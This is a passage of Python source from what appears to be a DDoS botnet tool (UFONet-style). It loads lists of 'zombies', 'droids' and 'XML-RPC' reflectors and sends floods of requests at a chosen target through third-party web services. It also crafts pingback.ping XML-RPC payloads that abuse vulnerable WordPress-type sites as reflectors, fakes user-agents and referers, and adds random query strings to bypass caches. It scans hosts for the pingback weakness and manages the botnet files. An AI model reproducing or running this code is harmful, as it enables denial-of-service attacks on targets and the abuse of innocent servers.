  3355. # extract external web abuse services urls (GET) and perform requests against target
  3356. time.sleep(3) # aiming (multi-threading flow time compensation)
  3357. if not self.options.disablepurge:
  3358. if not droids: # return when not any working
  3359. self.options.disabledroids = True
  3360. return
  3361. target = self.options.target
  3362. try:
  3363. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  3364. except:
  3365. target = urllib.parse.unquote(target)
  3366. if target.startswith('http://'): # remove http
  3367. target = target.replace('http://', '')
  3368. if target.startswith('https://'):
  3369. target = target.replace('https://', '') # remove https
  3370. options = self.options
  3371. shuffle(droids) # shuffle droids
  3372. if not self.options.disablepurge:
  3373. for droid in droids:
  3374. if not droid.startswith('http'): # discarded inmediately
  3375. self.discard_droids.append(droid)
  3376. self.num_discard_droids = self.num_discard_droids + 1
  3377. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  3378. if not self.options.disablepurge:
  3379. if not droids: # return when not any working
  3380. self.options.disabledroids = True
  3381. return
  3382. shuffle(droids) # shuffle droids order, each discarding check :-)
  3383. for droid in droids:
  3384. name_droid = None
  3385. if "$TARGET" in droid: # replace droid/parameter for target
  3386. url = droid.replace("$TARGET", target)
  3387. t = urlparse(url)
  3388. name_droid = t.netloc
  3389. if name_droid == "":
  3390. name_droid = droid
  3391. print("[Info] [Droids] Attacking from: " + name_droid)
  3392. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3393. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  3394. try:
  3395. if options.proxy: # set proxy
  3396. self.proxy_transport(options.proxy)
  3397. if self.options.timeout: # set timeout
  3398. try:
  3399. droid_timeout = int(self.options.timeout)
  3400. except:
  3401. droid_timeout = 5
  3402. else:
  3403. droid_timeout = 5
  3404. if droid_timeout < 1:
  3405. droid_timeout = 5
  3406. req = urllib.request.Request(url, None, headers)
  3407. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  3408. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  3409. except Exception:
  3410. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  3411. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3412. if not self.options.disablepurge:
  3413. self.discard_droids.append(droid)
  3414. self.num_discard_droids = self.num_discard_droids + 1
  3415. else:
  3416. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  3417. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3418. if not self.options.disablepurge:
  3419. self.discard_droids.append(droid)
  3420. self.num_discard_droids = self.num_discard_droids + 1
  3421. if self.options.verbose:
  3422. if name_droid:
  3423. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  3424. else:
  3425. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  3426. if self.options.disablerpcs and self.options.disableucavs:
  3427. self.extra_zombies_lock = False # [ARMY] have finished
  3428. def extract_droids(self):
  3429. # extract droids from file
  3430. options = self.options
  3431. try:
  3432. f = open(self.droids_file)
  3433. droids = f.readlines()
  3434. droids = [ droid.replace('\n','') for droid in droids ]
  3435. f.close()
  3436. if not droids:
  3437. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3438. self.options.disabledroids = True
  3439. return
  3440. else:
  3441. return droids
  3442. except:
  3443. if os.path.exists(self.droids_file) == True:
  3444. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3445. return #sys.exit(2)
  3446. else:
  3447. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3448. return #sys.exit(2)
  3449. def discarding_rpcs(self, rpc, rpcs):
  3450. if rpc in self.discard_rpcs:
  3451. rpcs.remove(rpc)
  3452. if self.options.verbose:
  3453. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  3454. return rpcs
  3455. def send_rpcs(self, rpcs):
  3456. # extract vulnerable XML-RPC pingback services and perform requests against target
  3457. time.sleep(4) # aiming (multi-threading flow time compensation)
  3458. if not self.options.disablepurge:
  3459. if not rpcs: # return when not any working
  3460. self.options.disablerpcs = True
  3461. return
  3462. target = self.options.target
  3463. options = self.options
  3464. def random_key(length):
  3465. key = ''
  3466. for i in range(length):
  3467. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  3468. return key
  3469. shuffle(rpcs) # shuffle rpcs
  3470. if not self.options.disablepurge:
  3471. for rpc in rpcs:
  3472. if not rpc.startswith('http'): # discarded inmediately
  3473. if not self.options.disablepurge:
  3474. self.discard_rpcs.append(rpc)
  3475. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3476. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3477. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  3478. if not self.options.disablepurge:
  3479. if not rpcs: # return when not any working
  3480. self.options.disablerpcs = True
  3481. return
  3482. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  3483. for rpc in rpcs:
  3484. t = urlparse(rpc)
  3485. name_rpc = t.netloc
  3486. if name_rpc == "":
  3487. name_rpc = rpc
  3488. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  3489. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3490. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3491. key = random_key(8) # generate random value page to bypass cache
  3492. rpc_page = "?" + str(key)
  3493. key = random_key(6) # re-generate random value id to bypass cache
  3494. rpc_id = "=" + str(key)
  3495. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  3496. if "/xmlrpc.php" in rpc:
  3497. rpc_place = rpc.replace("xmlrpc.php", "")
  3498. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  3499. try:
  3500. if options.proxy: # set proxy
  3501. self.proxy_transport(options.proxy)
  3502. if self.options.timeout: # set timeout
  3503. try:
  3504. rpc_timeout = int(self.options.timeout)
  3505. except:
  3506. rpc_timeout = 5
  3507. else:
  3508. rpc_timeout = 5
  3509. if rpc_timeout < 1:
  3510. rpc_timeout = 5
  3511. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  3512. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  3513. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  3514. if self.options.verbose:
  3515. print("[Info] [X-RPCs] Reply:", target_reply)
  3516. except:
  3517. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  3518. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3519. if not self.options.disablepurge:
  3520. self.discard_rpcs.append(rpc)
  3521. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3522. else:
  3523. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  3524. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3525. if not self.options.disablepurge:
  3526. self.discard_rpcs.append(rpc)
  3527. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3528. if self.options.verbose:
  3529. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  3530. if self.options.disableucavs:
  3531. self.extra_zombies_lock = False # [ARMY] have finished
  3532. def extract_rpcs(self):
  3533. # extract rpcs from file
  3534. options = self.options
  3535. try:
  3536. f = open(self.rpcs_file)
  3537. rpcs = f.readlines()
  3538. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  3539. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  3540. f.close()
  3541. if not rpcs:
  3542. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3543. self.options.disablerpcs = True
  3544. return
  3545. else:
  3546. return rpcs
  3547. except:
  3548. if os.path.exists(self.rpcs_file) == True:
  3549. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3550. return
  3551. else:
  3552. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  3553. return
  3554. def extract_ntps(self):
  3555. # extract ntps from file
  3556. options = self.options
  3557. try:
  3558. f = open(self.ntps_file)
  3559. ntps = f.readlines()
  3560. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  3561. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  3562. f.close()
  3563. if not ntps:
  3564. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3565. return
  3566. else:
  3567. return ntps
  3568. except:
  3569. if os.path.exists(self.ntps_file) == True:
  3570. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3571. return
  3572. else:
  3573. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntps.txt' [Discarding!]")
  3574. return
  3575. def extract_dnss(self):
  3576. # extract dnss from file
  3577. options = self.options
  3578. try:
  3579. f = open(self.dnss_file)
  3580. dnss = f.readlines()
  3581. dnss = [ dns.replace('\r','') for dns in dnss ]
  3582. dnss = [ dns.replace('\n','') for dns in dnss ]
  3583. f.close()
  3584. if not dnss:
  3585. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3586. return
  3587. else:
  3588. return dnss
  3589. except:
  3590. if os.path.exists(self.dnss_file) == True:
  3591. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3592. return
  3593. else:
  3594. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dnss.txt' [Discarding!]")
  3595. return
  3596. def extract_zombies(self):
  3597. options = self.options
  3598. if self.options.test:
  3599. try:
  3600. f = open(options.test)
  3601. zombies = f.readlines()
  3602. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3603. f.close()
  3604. if not zombies:
  3605. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3606. return
  3607. else:
  3608. return zombies
  3609. except:
  3610. if os.path.exists(options.test) == True:
  3611. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3612. return #sys.exit(2)
  3613. else:
  3614. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3615. return #sys.exit(2)
  3616. else:
  3617. try:
  3618. f = open(self.zombies_file)
  3619. zombies = f.readlines()
  3620. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3621. f.close()
  3622. if not zombies:
  3623. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3624. return
  3625. else:
  3626. return zombies
  3627. except:
  3628. if os.path.exists(self.zombies_file) == True:
  3629. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3630. return #sys.exit(2)
  3631. else:
  3632. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3633. return #sys.exit(2)
  3634. def extract_target_list(self):
  3635. options = self.options
  3636. try:
  3637. f = open(options.target_list)
  3638. targets = f.readlines()
  3639. targets = [ target.replace('\n','') for target in targets ]
  3640. f.close()
  3641. if not targets:
  3642. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3643. return
  3644. else:
  3645. return targets
  3646. except:
  3647. if os.path.exists(options.target_list) == True:
  3648. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3649. return #sys.exit(2)
  3650. else:
  3651. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3652. return #sys.exit(2)
  3653. def update_zombies(self, zombies_ready):
  3654. # update zombies on file
  3655. options = self.options
  3656. if options.attackme:
  3657. f = open(self.zombies_file, "w") # re-write list
  3658. for zombie in self.doll.real_zombies: # add only alien verified zombies
  3659. for x in zombie:
  3660. f.write(str(x) + os.linesep)
  3661. f.close()
  3662. if options.test or options.testall:
  3663. if not options.test:
  3664. options.test = self.zombies_file
  3665. f = open(options.test, "w") # re-write list only with zombies ready
  3666. for zombie in zombies_ready:
  3667. f.write(zombie + os.linesep)
  3668. f.close()
  3669. if options.search or options.dorks or options.autosearch or options.download or options.download_github: # append only new zombies to list (dorking supported)
  3670. f = open(self.zombies_file)
  3671. zombies_on_file = f.read().splitlines()
  3672. with open(self.zombies_file, "a") as zombie_list:
  3673. for zombie in zombies_ready:
  3674. if zombie not in zombies_on_file: # parse possible repetitions
  3675. zombie_list.write(zombie + os.linesep)
  3676. if options.download or options.download_github:
  3677. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3678. else:
  3679. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  3680. f.close()
  3681. def update_aliens(self, aliens_ready):
  3682. # update aliens on file
  3683. options = self.options
  3684. if options.download or options.download_github: # append only new aliens to list
  3685. f = open(self.aliens_file)
  3686. aliens_on_file = f.read().splitlines()
  3687. with open(self.aliens_file, "a") as alien_list:
  3688. for alien in aliens_ready:
  3689. if alien not in aliens_on_file: # parse possible repetitions
  3690. alien_list.write(alien + os.linesep)
  3691. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3692. f.close()
  3693. def update_droids(self, droids_ready):
  3694. # update droids on file
  3695. options = self.options
  3696. if options.download or options.download_github: # append only new droids to list
  3697. f = open(self.droids_file)
  3698. droids_on_file = f.read().splitlines()
  3699. with open(self.droids_file, "a") as droid_list:
  3700. for droid in droids_ready:
  3701. if droid not in droids_on_file: # parse possible repetitions
  3702. droid_list.write(droid + os.linesep)
  3703. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3704. f.close()
  3705. def update_ucavs(self, ucavs_ready):
  3706. # update ucavs on file
  3707. options = self.options
  3708. if options.download or options.download_github: # append only new ucavs to list
  3709. f = open(self.ucavs_file)
  3710. ucavs_on_file = f.read().splitlines()
  3711. with open(self.ucavs_file, "a") as ucav_list:
  3712. for ucav in ucavs_ready:
  3713. if ucav not in ucavs_on_file: # parse possible repetitions
  3714. ucav_list.write(ucav + os.linesep)
  3715. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3716. f.close()
  3717. def update_rpcs(self, rpcs_ready):
  3718. # update rpcs on file
  3719. options = self.options
  3720. if options.testrpc or options.testall:
  3721. f = open(self.rpcs_file, "w") # re-write list
  3722. for rpc in rpcs_ready: # add only rpc verified zombies
  3723. f.write(rpc + os.linesep)
  3724. f.close()
  3725. if options.download or options.download_github: # append only new rpcs to list
  3726. f = open(self.rpcs_file)
  3727. rpcs_on_file = f.read().splitlines()
  3728. with open(self.rpcs_file, "a") as rpc_list:
  3729. for rpc in rpcs_ready:
  3730. if rpc not in rpcs_on_file: # parse possible repetitions
  3731. rpc_list.write(rpc + os.linesep)
  3732. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3733. f.close()
  3734. def update_dnss(self, dnss_ready):
  3735. # update dns on file
  3736. options = self.options
  3737. if options.download or options.download_github: # append only new dns to list
  3738. f = open(self.dnss_file)
  3739. dnss_on_file = f.read().splitlines()
  3740. with open(self.dnss_file, "a") as dns_list:
  3741. for dns in dnss_ready:
  3742. if dns not in dnss_on_file: # parse possible repetitions
  3743. dns_list.write(dns + os.linesep)
  3744. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3745. f.close()
  3746. def update_ntps(self, ntps_ready):
  3747. # update ntps on file
  3748. options = self.options
  3749. if options.download or options.download_github: # append only new ntps to list
  3750. f = open(self.ntps_file)
  3751. ntps_on_file = f.read().splitlines()
  3752. with open(self.ntps_file, "a") as ntp_list:
  3753. for ntp in ntps_ready:
  3754. if ntp not in ntps_on_file: # parse possible repetitions
  3755. ntp_list.write(ntp + os.linesep)
  3756. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3757. f.close()
  3758. def search_rpc(self, rpc_host):
  3759. options = self.options
  3760. rpc_vulnerable = False
  3761. rpc_pingback_url = False
  3762. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3763. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3764. try:
  3765. if self.options.testall: # testing_all
  3766. if options.proxy: # set proxy
  3767. self.proxy_transport(options.proxy)
  3768. req = urllib.request.Request(rpc_host, None, headers)
  3769. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3770. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3771. for link in rpc_links:
  3772. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3773. rpc_pingback_url = link[0]
  3774. rpc_vulnerable = True
  3775. break # found it!
  3776. else: # not any XML-RPC discovering methods are working
  3777. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3778. rpc_vulnerable = False
  3779. else:
  3780. if rpc_host.startswith("http://"):
  3781. rpc_host = rpc_host.replace("http://", "")
  3782. if rpc_host.startswith("https://"):
  3783. rpc_host = rpc_host.replace("https://", "")
  3784. rpc_host = urlparse(rpc_host)
  3785. rpc_path = rpc_host.path.replace("\r", "")
  3786. self.head = True # send HTTP HEAD request searching for: X-Pingback
  3787. reply = self.connect_zombie(rpc_path)
  3788. self.head = False
  3789. if "X-Pingback" in reply: # discovering pingback-enabled resources
  3790. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  3791. rpc_pingback_url = m.group(1) # extract rpc server url
  3792. rpc_vulnerable = True
  3793. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  3794. if options.proxy: # set proxy
  3795. self.proxy_transport(options.proxy)
  3796. req_rpc = urllib.request.Request(rpc_host, None, headers)
  3797. req_rpc.get_method = lambda : 'GET'
  3798. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  3799. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3800. for link in rpc_links:
  3801. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3802. rpc_pingback_url = link[0]
  3803. rpc_vulnerable = True
  3804. break # found it!
  3805. else: # not any XML-RPC discovering methods are working
  3806. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3807. rpc_vulnerable = False
  3808. except: # something wrong discovering XML-RPC Pingback
  3809. pass
  3810. return rpc_vulnerable, rpc_pingback_url
  3811. def testing_offline(self):
  3812. # check for zombies offline
  3813. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  3814. print('='*35)
  3815. zombies_online = 0
  3816. zombies_offline = 0
  3817. zombies = self.extract_zombies()
  3818. rpcs = self.extract_rpcs()
  3819. aliens = self.extract_aliens()
  3820. droids = self.extract_droids()
  3821. ucavs = self.extract_ucavs()
  3822. try:
  3823. botnet = zombies + rpcs + aliens + droids + ucavs
  3824. except:
  3825. return
  3826. discarded = [] # for discarded zombies
  3827. if not botnet:
  3828. return
  3829. self.head = True
  3830. for zombie in botnet:
  3831. zombie = str(zombie)
  3832. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  3833. zombie_type = 'Zombie'
  3834. elif zombie in rpcs:
  3835. zombie_type = 'XML-RPC'
  3836. elif zombie in aliens:
  3837. zombie_type = 'Alien'
  3838. elif zombie in droids:
  3839. zombie_type = 'Droid'
  3840. elif zombie in ucavs:
  3841. zombie_type = 'UCAV'
  3842. t = urlparse(zombie)
  3843. name_zombie = t.netloc
  3844. if name_zombie == "":
  3845. name_zombie = zombie
  3846. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  3847. sep = ';$POST;'
  3848. zombie = zombie.split(sep, 1)[0]
  3849. try:
  3850. reply = str(self.connect_zombie(zombie))
  3851. except:
  3852. reply = None
  3853. if reply:
  3854. if reply == "200" or reply == "301" or reply == "302":
  3855. status = "ONLINE! -> [OK!]"
  3856. else:
  3857. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  3858. zombies_online = zombies_online + 1
  3859. else:
  3860. status = "NOT Working!"
  3861. zombies_offline = zombies_offline + 1
  3862. print("\nName:", name_zombie)
  3863. print("Type: [", zombie_type, "]")
  3864. print("Vector:", zombie)
  3865. print("HTTP Code: [", reply, "]")
  3866. print("STATUS:", status)
  3867. print('-'*21)
  3868. if status == "NOT Working!": # add to discarded zombies
  3869. if zombie not in discarded:
  3870. discarded.append(zombie)
  3871. print("\n" + '='*52)
  3872. print("\n+ Total Botnet:", len(botnet))
  3873. print("\n" + '-'*25 + "\n")
  3874. print(" - ONLINE:", zombies_online)
  3875. print(" - OFFLINE:", zombies_offline, "\n")
  3876. print('='*52 + '\n')
  3877. self.head = False
  3878. if zombies_offline > 0:
  3879. if not self.options.forceyes:
  3880. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  3881. print('-'*25 + "\n")
  3882. else:
  3883. test_reply = "Y"
  3884. if test_reply == "n" or test_reply == "N":
  3885. print("[AI] "+self.exit_msg+"\n")
  3886. return
  3887. else:
  3888. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3889. print('='*52)
  3890. print("\n - DISCARDED:", disc_zombies)
  3891. new_botnet = int(len(botnet) - disc_zombies)
  3892. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  3893. print('='*52 + '\n')
  3894. else:
  3895. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  3896. def send_extra_zombies(self):
  3897. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  3898. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3899. if self.options.verbose:
  3900. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  3901. aliens = [self.extract_aliens()] # extract aliens from file to a list
  3902. for a in aliens:
  3903. if a is None:
  3904. self.options.disablealiens = True
  3905. self.total_aliens = 0 # not any alien invoked
  3906. else:
  3907. for s in a: # extract number of aliens
  3908. self.total_aliens = self.total_aliens + 1
  3909. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  3910. al.start()
  3911. else:
  3912. self.options.disablealiens = True
  3913. self.total_aliens = 0 # not any alien invoked
  3914. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3915. if self.options.verbose:
  3916. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  3917. droids = [self.extract_droids()] # extract droids from file to a list
  3918. for d in droids:
  3919. if d is None:
  3920. self.options.disabledroids = True
  3921. self.total_droids = 0 # not any droid invoked
  3922. else:
  3923. for s in d: # extract number of droids
  3924. self.total_droids = self.total_droids + 1
  3925. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  3926. dr.start()
  3927. else:
  3928. self.options.disabledroids = True
  3929. self.total_droids = 0 # not any droid invoked
  3930. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3931. if self.options.verbose:
  3932. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  3933. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  3934. for r in rpcs:
  3935. if r is None:
  3936. self.options.disablerpcs = True
  3937. self.total_rpcs = 0 # not any rpc invoked
  3938. else:
  3939. for s in r: # extract number of rpcs
  3940. self.total_rpcs = self.total_rpcs + 1
  3941. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  3942. rp.start()
  3943. else:
  3944. self.options.disablerpcs = True
  3945. self.total_rpcs = 0 # not any rpcs invoked
  3946. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  3947. if self.options.verbose:
  3948. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  3949. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  3950. for u in ucavs:
  3951. if u is None:
  3952. self.options.disableucavs = True
  3953. self.total_ucavs = 0 # not any ucav invoked
  3954. else:
  3955. for s in u: # extract number of ucavs
  3956. self.total_ucavs = self.total_ucavs + 1
  3957. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  3958. uc.start()
  3959. else:
  3960. self.options.disableucavs = True
  3961. self.total_ucavs = 0 # not any ucavs invoked
  3962. def abandoning_zombies(self):
  3963. if self.options.expire: # set timing for purge
  3964. try:
  3965. timing = int(self.options.expire)
  3966. except:
  3967. timing = self.expire_timing # default timing for purge
  3968. else:
  3969. timing = self.expire_timing # default timing for purge
  3970. if timing < 1:
  3971. timing = self.expire_timing # default timing for purge
  3972. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3973. zombies_lock = 0
  3974. if self.options.verbose:
  3975. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  3976. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  3977. zombies_lock = zombies_lock + 1
  3978. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3979. if self.options.verbose:
  3980. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  3981. break
  3982. else:
  3983. time.sleep(1)
  3984. def discard_zombies(self, discarded):
  3985. disc_zombies = 0
  3986. if self.options.testoffline:
  3987. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  3988. else:
  3989. zombies_list = [self.zombies_file]
  3990. if not self.options.disablealiens: # add aliens
  3991. zombies_list.append(self.aliens_file)
  3992. if not self.options.disabledroids: # add droids
  3993. zombies_list.append(self.droids_file)
  3994. if not self.options.disablerpcs: # add rpcs
  3995. zombies_list.append(self.rpcs_file)
  3996. if not self.options.disableucavs: # add ucavs
  3997. zombies_list.append(self.ucavs_file)
  3998. for l in zombies_list:
  3999. f = open(l, "r+")
  4000. d = f.readlines()
  4001. f.close()
  4002. f = open(l, "w")
  4003. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  4004. f.close()
  4005. return disc_zombies
  4006. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  4007. m = []
  4008. for zombie in d:
  4009. if zombie not in discarded == True:
  4010. m.append(zombie) # save it
  4011. else:
  4012. disc_zombies = disc_zombies + 1
  4013. if not m:
  4014. f.write("")
  4015. else:
  4016. for z in m:
  4017. f.write(z+os.linesep)
  4018. return disc_zombies
  4019. def parse_url_encoding(self, target):
  4020. t = urlparse(target)
  4021. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  4022. path = urllib.parse.quote(t.path.encode('utf-8'))
  4023. query = urllib.parse.quote(t.query.encode('utf-8'))
  4024. if query:
  4025. if path.endswith(""):
  4026. path.replace("", "/")
  4027. query = urllib.parse.quote(t.query.encode('utf-8'))
  4028. target = t.scheme+"://"+host + path + "?" + query
  4029. else:
  4030. target = t.scheme+"://"+host + path
  4031. return target
  4032. def testing_rpcs(self, rpcs):
  4033. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  4034. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  4035. options = self.options
  4036. if self.options.testall: #testing_all
  4037. print('='*51)
  4038. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  4039. print('='*51)
  4040. num_active_rpcs = 0
  4041. num_failed_rpcs = 0
  4042. rpcs_ready = []
  4043. print("Trying:", len(rpcs))
  4044. print('-'*21)
  4045. for rpc in rpcs:
  4046. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4047. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4048. if rpc.startswith("http://") or rpc.startswith("https://"):
  4049. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  4050. rpc_host = rpc.replace("/xmlrpc.php", "")
  4051. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  4052. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  4053. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  4054. try:
  4055. if options.proxy: # set proxy
  4056. self.proxy_transport(options.proxy)
  4057. try:
  4058. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  4059. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4060. except:
  4061. if DEBUG == True:
  4062. traceback.print_exc()
  4063. if self.options.verbose:
  4064. print("[Info] [X-RPCs] Reply:", target_reply)
  4065. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  4066. print("[Info] [AI] -> [VULNERABLE!]")
  4067. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  4068. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  4069. else:
  4070. print("[Info] [AI] -> [NOT vulnerable...]")
  4071. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4072. except:
  4073. print("[Info] [AI] -> [NOT vulnerable...]")
